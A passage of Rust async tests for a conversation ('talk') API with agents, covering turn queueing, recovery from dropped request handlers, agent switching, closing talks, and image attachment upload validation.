7862    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7863        let (_tmp, _repo, f) = talk_fixture().await;
7864
7865        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
7866        // is the ordinary way a phone opens a talk.
7867        let opened = f.post("/api/talks", None).await;
7868        assert_eq!(opened.status, 201, "{}", opened.body);
7869        let body = opened.json();
7870        assert_eq!(body["status"], "open");
7871        assert_eq!(
7872            body["turns"].as_array().unwrap().len(),
7873            0,
7874            "opening takes no agent turn: there is nothing yet to answer"
7875        );
7876
7877        // An explicit empty object is the same request as none at all.
7878        let also_opened = f.post("/api/talks", Some("{}")).await;
7879        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7880
7881        let listed = f.get("/api/talks").await.json();
7882        assert_eq!(listed.as_array().unwrap().len(), 2);
7883    }
7884
7885    #[tokio::test]
7886    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7887        let tmp = TempDir::new().expect("tempdir");
7888        let repo = tmp.path().join("repo");
7889        std::fs::create_dir_all(&repo).expect("repo dir");
7890        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7891        std::fs::write(
7892            repo.join("magi.toml"),
7893            format!("{MOCK_AGENT_TOML}\n{second}"),
7894        )
7895        .expect("write magi.toml");
7896        let home = TempDir::new().expect("temp home");
7897        let talks = Talks::at(home.path().join("talks"));
7898        let ui = Arc::new(
7899            Ui::new(
7900                Queue::at(home.path().join("queue")),
7901                Questions::at(home.path().join("questions")),
7902                talks.clone(),
7903                home.path().join("runs"),
7904                home.path().to_path_buf(),
7905                repo.clone(),
7906            )
7907            .with_worktrees_root(home.path().join("wt")),
7908        );
7909        let cfg = config_for(&repo).await.expect("discover config");
7910        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7911        let id = talk.id.clone();
7912        let call = |agent: &str| {
7913            talk_agent(
7914                State(Arc::clone(&ui)),
7915                Path(id.clone()),
7916                Json(TalkAgent {
7917                    agent: agent.to_owned(),
7918                }),
7919            )
7920        };
7921
7922        let unknown = call("nobody").await.expect_err("unknown agent");
7923        assert_eq!(
7924            unknown.status,
7925            StatusCode::BAD_REQUEST,
7926            "{}",
7927            unknown.message
7928        );
7929
7930        {
7931            // The refused call hands its claim to a drain loop that releases
7932            // it a moment later.
7933            let mut claimed = None;
7934            for _ in 0..200 {
7935                claimed = ui.begin_talk_turn(&id).expect("claim");
7936                if claimed.is_some() {
7937                    break;
7938                }
7939                tokio::time::sleep(Duration::from_millis(10)).await;
7940            }
7941            let _busy = claimed.expect("free");
7942            let busy = call("second").await.expect_err("busy talk");
7943            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7944        }
7945        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7946
7947        let Json(view) = call("second").await.expect("switch");
7948        assert_eq!(view.talk.agent, "second");
7949        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7950        let saved = talks.get(&id).expect("reload");
7951        assert_eq!(saved.agent, "second");
7952        assert_eq!(saved.turns.len(), 1);
7953
7954        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7955            .await
7956            .expect("detail");
7957        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7958        assert_eq!(roster, ["mock", "second"]);
7959
7960        let mut closed = talks.get(&id).expect("reload");
7961        talk::close(&mut closed, &talks).expect("close");
7962        let refused = call("mock").await.expect_err("closed talk");
7963        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7964    }
7965
7966    #[tokio::test]
7967    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7968        let f = Fixture::start().await;
7969        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7970        let queue = f.queue();
7971        let mut mine = Task::new(
7972            "rename the loader".to_owned(),
7973            "rename the loader".to_owned(),
7974            PathBuf::from("/repo/magi"),
7975            Source::Agent {
7976                run: talk_id.clone(),
7977                node: "chat".to_owned(),
7978            },
7979        );
7980        queue.put(&mut mine).expect("file the task");
7981        let mut theirs = Task::new(
7982            "unrelated".to_owned(),
7983            "unrelated".to_owned(),
7984            PathBuf::from("/repo/magi"),
7985            Source::Human,
7986        );
7987        queue.put(&mut theirs).expect("file the task");
7988
7989        let res = f.get(&format!("/api/talks/{talk_id}")).await;
7990        assert_eq!(res.status, 200, "{}", res.body);
7991        let body = res.json();
7992        assert_eq!(
7993            body["status"], "open",
7994            "filing a task does not close a talk"
7995        );
7996        let tasks = body["tasks"].as_array().expect("tasks array");
7997        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7998        assert_eq!(tasks[0]["id"], mine.id);
7999    }
8000
8001    #[tokio::test]
8002    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8003        let (_tmp, _repo, f) = talk_fixture().await;
8004        let id = f.post("/api/talks", None).await.json()["id"]
8005            .as_str()
8006            .expect("id")
8007            .to_owned();
8008
8009        let res = f
8010            .post(
8011                &format!("/api/talks/{id}/say"),
8012                Some(r#"{"text":"what does the queue module do?"}"#),
8013            )
8014            .await;
8015        assert_eq!(res.status, 202, "{}", res.body);
8016        let queued = res.json();
8017        let turns = queued["turns"].as_array().expect("turns array");
8018        assert_eq!(
8019            turns.len(),
8020            1,
8021            "the answer reflects only what is on disk the instant it is sent, \
8022             before the agent's turn - which can run for the whole of \
8023             `[graph] timeout_talk` - has a chance to land: {queued}"
8024        );
8025        assert_eq!(turns[0]["who"], "operator");
8026        assert_eq!(turns[0]["body"], "what does the queue module do?");
8027        assert_eq!(
8028            queued["thinking"], true,
8029            "the accepted response exposes the background turn claim: {queued}"
8030        );
8031
8032        let mut turns_after = 1;
8033        for _ in 0..SETTLE_STEPS {
8034            let detail = f.get(&format!("/api/talks/{id}")).await.json();
8035            turns_after = detail["turns"].as_array().expect("turns array").len();
8036            if turns_after == 2 {
8037                break;
8038            }
8039            tokio::time::sleep(Duration::from_millis(10)).await;
8040        }
8041        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8042    }
8043
8044    /// A phone that reloads mid-request drops `talk_say`'s whole handler
8045    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
8046    /// guards against: `talk::record` used to return, and only *then* did the
8047    /// handler make a second, separate disk round trip before spawning the
8048    /// agent's reply task. A future dropped in that gap left a message
8049    /// recorded on disk with no reply task ever started and no way back short
8050    /// of a fresh message - and the gap was not even the whole story: *any*
8051    /// `.await` in this handler, including the very first one, is a point
8052    /// where a drop can land after the awaited work already finished but
8053    /// before this handler's own code resumes to act on it. `record` now
8054    /// runs inside the task `tokio::spawn` hands to the runtime before this
8055    /// handler ever awaits anything of its own again, so there is nothing
8056    /// left in *this* handler's future for a disconnect to interrupt between
8057    /// the message landing on disk and the reply task starting.
8058    ///
8059    /// A real socket disconnect cannot be relied on to land in the old gap
8060    /// from a test - over loopback, `talk_say` typically finishes before the
8061    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
8062    /// same failure mode directly: it drops the task's future at whatever
8063    /// point it has reached, exactly what axum does to the handler future,
8064    /// without needing to win a real network race. Sweeping the delay before
8065    /// aborting samples a range of points the task's execution can be at,
8066    /// including where the old code sat waiting on its second disk round
8067    /// trip - confirmed by reverting this fix locally and watching this same
8068    /// sweep catch a talk stuck with the operator's turn recorded and no
8069    /// reply ever following.
8070    #[tokio::test]
8071    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8072        let tmp = TempDir::new().expect("tempdir");
8073        let repo = tmp.path().join("repo");
8074        std::fs::create_dir_all(&repo).expect("repo dir");
8075        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8076        let home = TempDir::new().expect("temp home");
8077        let talks = Talks::at(home.path().join("talks"));
8078        let ui = Arc::new(
8079            Ui::new(
8080                Queue::at(home.path().join("queue")),
8081                Questions::at(home.path().join("questions")),
8082                talks.clone(),
8083                home.path().join("runs"),
8084                home.path().to_path_buf(),
8085                repo.clone(),
8086            )
8087            .with_worktrees_root(home.path().join("wt")),
8088        );
8089        let cfg = config_for(&repo).await.expect("discover config");
8090
8091        for delay in 0..40u32 {
8092            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8093            let id = talk.id.clone();
8094
8095            let handler = tokio::spawn(talk_say(
8096                State(Arc::clone(&ui)),
8097                Path(id.clone()),
8098                Ok(Json(NewTalkTurn {
8099                    text: "what does the queue module do?".to_owned(),
8100                    attachments: Vec::new(),
8101                })),
8102            ));
8103            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8104            handler.abort();
8105            // Wait out the abort so the next iteration's talk does not race
8106            // this one's still-unwinding turn guard.
8107            let _ = handler.await;
8108
8109            let mut turns = 0;
8110            for _ in 0..SETTLE_STEPS {
8111                if let Ok(fresh) = talks.get(&id) {
8112                    turns = fresh.turns.len();
8113                    if turns != 1 {
8114                        break;
8115                    }
8116                }
8117                tokio::time::sleep(Duration::from_millis(10)).await;
8118            }
8119            assert_ne!(
8120                turns, 1,
8121                "delay {delay}: talk {id} recorded the operator's turn but \
8122                 the agent never answered - the reply task was never \
8123                 started after the handler future was dropped"
8124            );
8125        }
8126    }
8127
8128    /// The same drop, landing on `talk_say`'s other durable write.
8129    ///
8130    /// When a turn is already running, the busy branch persists the
8131    /// operator's text as a queued draft and then reclaims the turn slot if
8132    /// the holder gave it up in the meantime - and whoever reclaims owes that
8133    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
8134    /// which finishes whether or not the future awaiting it is still there,
8135    /// so a handler dropped at that `.await` used to leave the draft written
8136    /// to disk with the reclaimed guard dropped unread and no drainer ever
8137    /// started: the message sat queued until some unrelated later `say`
8138    /// happened to pick it up.
8139    ///
8140    /// This used to drive the handler future by hand, polling it a fixed
8141    /// number of times to park it at the `.await` where it asks for the turn
8142    /// and finds it busy, before the reclaim's slot-free case could be set up
8143    /// underneath it. That assumed a fixed number of polls lands at a fixed
8144    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
8145    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
8146    /// poll, so any number of this handler's several `blocking` awaits can
8147    /// collapse into one poll under load, landing the drive somewhere other
8148    /// than intended - including, occasionally, straight past the handler's
8149    /// own completion, which made polling it again panic with "async fn
8150    /// resumed after completion". No poll count fixes that; the handler's
8151    /// progress simply is not something a caller outside it can observe by
8152    /// counting.
8153    ///
8154    /// [`BusyQueueGate`] replaces the poll count with a real stop point
8155    /// inside the write itself, so the interleaving under test is pinned by
8156    /// an event instead of a guess: the gate fires only once the handler has
8157    /// actually decided `Busy` and is about to persist the draft, and it
8158    /// blocks that write until the test lets it through. Between those two
8159    /// moments the test drains the turn the handler found busy - through
8160    /// `drain_loop`, the protocol's other half - and then aborts the handler
8161    /// task outright, the same way axum drops a disconnected request's
8162    /// future. The write, and the reclaim it may do, run to completion
8163    /// regardless: they live in the `tokio::spawn` task the busy branch hands
8164    /// to the runtime before ever touching the gate, wholly independent of
8165    /// whether the handler that started it is still around - which is what
8166    /// this test is actually checking. A drainer other than that reclaim
8167    /// cannot exist here: the test's own `drain_loop` call happens before the
8168    /// gate opens, so it runs while the queue is still empty and hands the
8169    /// turn straight back rather than draining anything, closing off the
8170    /// possibility of the final assertion passing without the reclaim ever
8171    /// having done its job.
8172    #[tokio::test]
8173    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8174        let tmp = TempDir::new().expect("tempdir");
8175        let repo = tmp.path().join("repo");
8176        std::fs::create_dir_all(&repo).expect("repo dir");
8177        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8178        let home = TempDir::new().expect("temp home");
8179        let talks = Talks::at(home.path().join("talks"));
8180        let ui = Arc::new(
8181            Ui::new(
8182                Queue::at(home.path().join("queue")),
8183                Questions::at(home.path().join("questions")),
8184                talks.clone(),
8185                home.path().join("runs"),
8186                home.path().to_path_buf(),
8187                repo.clone(),
8188            )
8189            .with_worktrees_root(home.path().join("wt")),
8190        );
8191        let cfg = config_for(&repo).await.expect("discover config");
8192
8193        for attempt in 0..3u32 {
8194            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8195            let id = talk.id.clone();
8196            // A turn is already running, which is what sends `talk_say` down
8197            // the busy branch.
8198            let turn_guard = ui
8199                .begin_talk_turn(&id)
8200                .expect("claim the turn")
8201                .expect("a fresh talk owes nobody a turn");
8202
8203            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8204            let (release_tx, release_rx) = std::sync::mpsc::channel();
8205            ui.set_busy_queue_gate(BusyQueueGate {
8206                reached: reached_tx,
8207                release: release_rx,
8208            });
8209
8210            let handler = tokio::spawn(talk_say(
8211                State(Arc::clone(&ui)),
8212                Path(id.clone()),
8213                Ok(Json(NewTalkTurn {
8214                    text: "what does the queue module do?".to_owned(),
8215                    attachments: Vec::new(),
8216                })),
8217            ));
8218
8219            // Wait for the busy branch to actually reach the gate, rather
8220            // than for any fixed number of polls of anything - a bounded
8221            // wait rather than a bare `.await` so a regression that never
8222            // reaches the gate fails the test instead of hanging it.
8223            tokio::time::timeout(Duration::from_secs(5), reached_rx)
8224                .await
8225                .unwrap_or_else(|_| {
8226                    panic!(
8227                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8228                    )
8229                })
8230                .expect("the busy branch dropped the gate without using it");
8231
8232            // The turn that was running now finishes and gives the slot up
8233            // the way a real one does - through `drain_loop`, which finds
8234            // nothing queued yet (the write is still held at the gate) and
8235            // releases. The handler, parked inside `spawn_blocking` on the
8236            // other side of the gate, still believes the talk is busy -
8237            // exactly the interleaving the reclaim exists for.
8238            let running = talks.get(&id).expect("reload talk");
8239            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8240
8241            // Drop the handler future now, the way a reloading phone drops
8242            // it: suspended waiting on the busy branch's answer, having
8243            // itself made no more progress since it handed the write off.
8244            handler.abort();
8245            let _ = handler.await;
8246
8247            // Only now let the gated write proceed. It persists the draft
8248            // and reclaims the now-free slot from inside the task the busy
8249            // branch already spawned - unaffected by the handler's abort
8250            // above, since that task was independent of the handler's own
8251            // future from the moment it was spawned.
8252            let _ = release_tx.send(());
8253
8254            // A settled talk: the draft drained into an operator turn and
8255            // answered.
8256            let mut fresh = talks.get(&id).expect("reload talk");
8257            for _ in 0..SETTLE_STEPS {
8258                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8259                    break;
8260                }
8261                tokio::time::sleep(Duration::from_millis(10)).await;
8262                fresh = talks.get(&id).expect("reload talk");
8263            }
8264            assert!(
8265                fresh.pending.is_empty() && fresh.turns.len() == 2,
8266                "attempt {attempt}: talk {id} left the operator's text queued \
8267                 with no drainer - the reclaimed turn was dropped along with \
8268                 the handler future (pending {:?}, {} turns)",
8269                fresh.pending,
8270                fresh.turns.len()
8271            );
8272        }
8273    }
8274
8275    #[tokio::test]
8276    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8277        let (_tmp, _repo, f) = talk_fixture().await;
8278        let id = f.post("/api/talks", None).await.json()["id"]
8279            .as_str()
8280            .expect("id")
8281            .to_owned();
8282        let store = f.talks();
8283        let mut recovered = store.get(&id).expect("opened talk");
8284        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8285            .expect("persist pending draft without a live turn");
8286
8287        let edited = f
8288            .post(
8289                &format!("/api/talks/{id}/pending/edit"),
8290                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8291            )
8292            .await;
8293        assert_eq!(edited.status, 200, "{}", edited.body);
8294        assert!(edited.json()["thinking"].as_bool().unwrap());
8295
8296        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8297        for _ in 0..SETTLE_STEPS {
8298            if detail["turns"].as_array().expect("turns").len() == 2 {
8299                break;
8300            }
8301            tokio::time::sleep(Duration::from_millis(10)).await;
8302            detail = f.get(&format!("/api/talks/{id}")).await.json();
8303        }
8304        let turns = detail["turns"].as_array().expect("turns");
8305        assert_eq!(
8306            turns.len(),
8307            2,
8308            "the recovered draft must run once: {detail}"
8309        );
8310        assert_eq!(turns[0]["body"], "corrected");
8311        assert_eq!(detail["pending"], "");
8312    }
8313
8314    #[tokio::test]
8315    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8316        let tmp = TempDir::new().expect("tempdir");
8317        let repo = tmp.path().join("repo");
8318        std::fs::create_dir_all(&repo).expect("repo dir");
8319        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8320        let f = Fixture::with_repo(repo).await;
8321        let id = f.post("/api/talks", None).await.json()["id"]
8322            .as_str()
8323            .expect("id")
8324            .to_owned();
8325        let store = f.talks();
8326        let mut recovered = store.get(&id).expect("opened talk");
8327        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8328            .expect("persist pending draft without a live turn");
8329
8330        let refused = f
8331            .post(
8332                &format!("/api/talks/{id}/say"),
8333                Some(r#"{"text":"new message"}"#),
8334            )
8335            .await;
8336        assert_eq!(refused.status, 409, "{}", refused.body);
8337        assert!(refused.body.contains("resume"), "{}", refused.body);
8338        let saved = store.get(&id).expect("draft remains after refusal");
8339        assert!(saved.turns.is_empty());
8340        assert_eq!(saved.pending, "saved before restart");
8341
8342        let say_path = format!("/api/talks/{id}/say");
8343        let (first, second) = tokio::join!(
8344            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8345            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8346        );
8347        assert_eq!(first.status, 409, "{}", first.body);
8348        assert_eq!(second.status, 409, "{}", second.body);
8349        let saved = store
8350            .get(&id)
8351            .expect("draft remains after concurrent refusals");
8352        assert!(saved.turns.is_empty());
8353        assert_eq!(saved.pending, "saved before restart");
8354
8355        let resumed = f
8356            .post(&format!("/api/talks/{id}/pending/resume"), None)
8357            .await;
8358        assert_eq!(resumed.status, 202, "{}", resumed.body);
8359        let duplicate = f
8360            .post(&format!("/api/talks/{id}/pending/resume"), None)
8361            .await;
8362        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8363
8364        for _ in 0..SETTLE_STEPS {
8365            if store.get(&id).expect("talk").turns.len() == 2 {
8366                break;
8367            }
8368            tokio::time::sleep(Duration::from_millis(10)).await;
8369        }
8370        let finished = store.get(&id).expect("finished talk");
8371        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8372        assert_eq!(finished.turns[0].body, "saved before restart");
8373        assert!(finished.pending.is_empty());
8374    }
8375
8376    #[tokio::test]
8377    async fn an_image_only_recovered_draft_resumes_without_text() {
8378        let (_tmp, _repo, f) = talk_fixture().await;
8379        let id = f.post("/api/talks", None).await.json()["id"]
8380            .as_str()
8381            .expect("id")
8382            .to_owned();
8383        let uploaded = f
8384            .post_bytes(
8385                &format!("/api/talks/{id}/attachments"),
8386                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8387                PNG_BYTES,
8388            )
8389            .await;
8390        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8391        let attachment = f
8392            .talks()
8393            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8394            .expect("attachment metadata")
8395            .expect("stored attachment");
8396        let store = f.talks();
8397        let mut recovered = store.get(&id).expect("opened talk");
8398        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8399
8400        let resumed = f
8401            .post(&format!("/api/talks/{id}/pending/resume"), None)
8402            .await;
8403        assert_eq!(resumed.status, 202, "{}", resumed.body);
8404        for _ in 0..SETTLE_STEPS {
8405            if store.get(&id).expect("talk").turns.len() == 2 {
8406                break;
8407            }
8408            tokio::time::sleep(Duration::from_millis(10)).await;
8409        }
8410        let finished = store.get(&id).expect("finished talk");
8411        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8412        assert!(finished.turns[0].body.is_empty());
8413        assert_eq!(finished.turns[0].attachments.len(), 1);
8414        assert!(finished.pending_attachments.is_empty());
8415    }
8416
8417    #[tokio::test]
8418    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8419        let (_tmp, _repo, f) = talk_fixture().await;
8420        let id = f.post("/api/talks", None).await.json()["id"]
8421            .as_str()
8422            .expect("id")
8423            .to_owned();
8424        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8425        assert_eq!(closed.status, 200, "{}", closed.body);
8426        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8427            .expect("serialize closed talk");
8428        for (path, body) in [
8429            (format!("/api/talks/{id}/pending/resume"), None),
8430            (
8431                format!("/api/talks/{id}/pending/clear"),
8432                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8433            ),
8434            (
8435                format!("/api/talks/{id}/pending/edit"),
8436                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8437            ),
8438            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8439        ] {
8440            let response = f.post(&path, body).await;
8441            assert_eq!(response.status, 409, "{}", response.body);
8442        }
8443        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8444            .expect("serialize closed talk");
8445        assert_eq!(
8446            after_clear, before_clear,
8447            "clear must not rewrite a closed talk"
8448        );
8449    }
8450
8451    /// Keeps both claims observable long enough to exercise the distinction
8452    /// between one busy talk and a globally locked Chat surface.
8453    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8454
8455    #[tokio::test]
8456    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8457        let tmp = TempDir::new().expect("tempdir");
8458        let repo = tmp.path().join("repo");
8459        std::fs::create_dir_all(&repo).expect("repo dir");
8460        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8461        let f = Fixture::with_repo(repo).await;
8462        let id_a = f.post("/api/talks", None).await.json()["id"]
8463            .as_str()
8464            .unwrap()
8465            .to_owned();
8466        let id_b = f.post("/api/talks", None).await.json()["id"]
8467            .as_str()
8468            .unwrap()
8469            .to_owned();
8470
8471        let a = f
8472            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8473            .await;
8474        assert_eq!(a.status, 202, "{}", a.body);
8475        assert_eq!(a.json()["thinking"], true);
8476        let b = f
8477            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8478            .await;
8479        assert_eq!(b.status, 202, "{}", b.body);
8480        assert_eq!(b.json()["thinking"], true);
8481
8482        let listed = f.get("/api/talks").await.json();
8483        for id in [&id_a, &id_b] {
8484            let view = listed
8485                .as_array()
8486                .unwrap()
8487                .iter()
8488                .find(|talk| talk["id"] == *id)
8489                .unwrap();
8490            assert_eq!(view["thinking"], true, "{listed}");
8491        }
8492        let repeated = f
8493            .post(
8494                &format!("/api/talks/{id_a}/say"),
8495                Some(r#"{"text":"again"}"#),
8496            )
8497            .await;
8498        assert_eq!(repeated.status, 202, "{}", repeated.body);
8499        assert_eq!(repeated.json()["pending"], "again");
8500    }
8501
8502    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
8503    /// few more, since real uploads are never exactly eight bytes.
8504    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8505
8506    #[tokio::test]
8507    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8508        let f = Fixture::start().await;
8509        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8510
8511        let res = f
8512            .post_bytes(
8513                &format!("/api/talks/{id}/attachments"),
8514                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8515                PNG_BYTES,
8516            )
8517            .await;
8518        assert_eq!(res.status, 201, "{}", res.body);
8519        let body = res.json();
8520        assert_eq!(body["name"], "shot.png");
8521        assert_eq!(body["mime"], "image/png");
8522        assert_eq!(body["bytes"], PNG_BYTES.len());
8523        let att_id = body["id"].as_str().expect("id").to_owned();
8524        assert_eq!(
8525            att_id.len(),
8526            32,
8527            "the id must never be a client-suppliable path: {att_id}"
8528        );
8529
8530        let got = f
8531            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8532            .await;
8533        assert_eq!(got.status, 200, "{}", got.body);
8534        assert_eq!(got.header("content-type"), Some("image/png"));
8535        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8536        assert_eq!(got.bytes, PNG_BYTES);
8537    }
8538
8539    #[tokio::test]
8540    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8541        let f = Fixture::start().await;
8542        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8543
8544        // SVG can carry a `<script>`, so it is never on the whitelist even
8545        // though it is a real IANA image type.
8546        let svg = f
8547            .post_bytes(
8548                &format!("/api/talks/{id}/attachments"),
8549                &[("Content-Type", "image/svg+xml")],
8550                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8551            )
8552            .await;
8553        assert!(
8554            (400..500).contains(&svg.status),
8555            "svg must be refused: {} {}",
8556            svg.status,
8557            svg.body
8558        );
8559        assert!(svg.body.contains("SVG"), "{}", svg.body);
8560
8561        let text = f
8562            .post_bytes(
8563                &format!("/api/talks/{id}/attachments"),
8564                &[("Content-Type", "text/plain")],
8565                b"just some text",
8566            )
8567            .await;
8568        assert!(
8569            (400..500).contains(&text.status),
8570            "an unlisted type must be refused: {} {}",
8571            text.status,
8572            text.body
8573        );
8574
8575        // The declared type is a real png, but the size check runs before
8576        // the bytes are even looked at.
8577        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8578        let big = f
8579            .post_bytes(
8580                &format!("/api/talks/{id}/attachments"),
8581                &[("Content-Type", "image/png")],
8582                &oversized,
8583            )
8584            .await;
8585        assert_eq!(
8586            big.status,
8587            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8588            "{}",
8589            big.body
8590        );
8591    }
8592
8593    #[tokio::test]
8594    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8595        let f = Fixture::start().await;
8596        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8597
8598        // A whitelisted `Content-Type`, but bytes that are not actually a
8599        // png - the declared header alone is never trusted.
8600        let res = f
8601            .post_bytes(
8602                &format!("/api/talks/{id}/attachments"),
8603                &[("Content-Type", "image/png")],
8604                b"<html>not a picture</html>",
8605            )
8606            .await;
8607        assert!((400..500).contains(&res.status), "{}", res.body);
8608    }
8609
8610    #[tokio::test]
8611    async fn an_unknown_attachment_id_is_a_404() {
8612        let f = Fixture::start().await;
8613        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8614
8615        let res = f
8616            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8617            .await;
8618        assert_eq!(res.status, 404, "{}", res.body);
8619    }
8620
8621    #[tokio::test]
8622    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8623        let f = Fixture::start().await;
8624        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8625
8626        let uploaded = f
8627            .post_bytes(
8628                &format!("/api/talks/{id}/attachments"),
8629                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8630                PNG_BYTES,
8631            )
8632            .await;
8633        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8634        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8635
8636        let res = f
8637            .post(
8638                &format!("/api/talks/{id}/say"),
8639                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8640            )
8641            .await;
8642        assert_eq!(res.status, 202, "{}", res.body);
8643        let queued = res.json();
8644        let turns = queued["turns"].as_array().expect("turns array");
8645        assert_eq!(
8646            turns.len(),
8647            1,
8648            "an empty body with an attachment is still a turn: {queued}"
8649        );
8650        assert_eq!(turns[0]["who"], "operator");
8651        assert_eq!(turns[0]["body"], "");
8652        let atts = turns[0]["attachments"]
8653            .as_array()
8654            .expect("attachments array");
8655        assert_eq!(atts.len(), 1);
8656        assert_eq!(atts[0]["id"], att_id);
8657        assert_eq!(atts[0]["mime"], "image/png");
8658
8659        // Not only in the response: `record` flushes to disk before the
8660        // agent's own turn is even spawned.
8661        let on_disk = f.talks().get(&id).expect("get");
8662        assert_eq!(on_disk.turns[0].attachments.len(), 1);
8663        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8664    }
8665
8666    #[tokio::test]
8667    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8668        let f = Fixture::start().await;
8669        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8670
8671        let res = f
8672            .post(
8673                &format!("/api/talks/{id}/say"),
8674                Some(&format!(
8675                    r#"{{"text":"hi","attachments":["{}"]}}"#,
8676                    "a".repeat(32)
8677                )),
8678            )
8679            .await;
8680        assert!((400..500).contains(&res.status), "{}", res.body);
8681        assert!(res.body.contains("unknown attachment"), "{}", res.body);
8682
8683        let on_disk = f.talks().get(&id).expect("get");
8684        assert!(
8685            on_disk.turns.is_empty(),
8686            "a rejected attachment id must not partially record the turn: {:?}",
8687            on_disk.turns
8688        );
8689    }
8690
8691    #[tokio::test]
8692    async fn talk_close_makes_the_talk_refuse_further_turns() {
8693        let f = Fixture::start().await;
8694        let id = seed_talk(&f, "20260904-014455-cd34", "open");
8695
8696        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8697        assert_eq!(closed.status, 200, "{}", closed.body);
8698        assert_eq!(closed.json()["status"], "closed");
8699
8700        // Idempotent: closing an already-closed talk is not an error.
8701        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
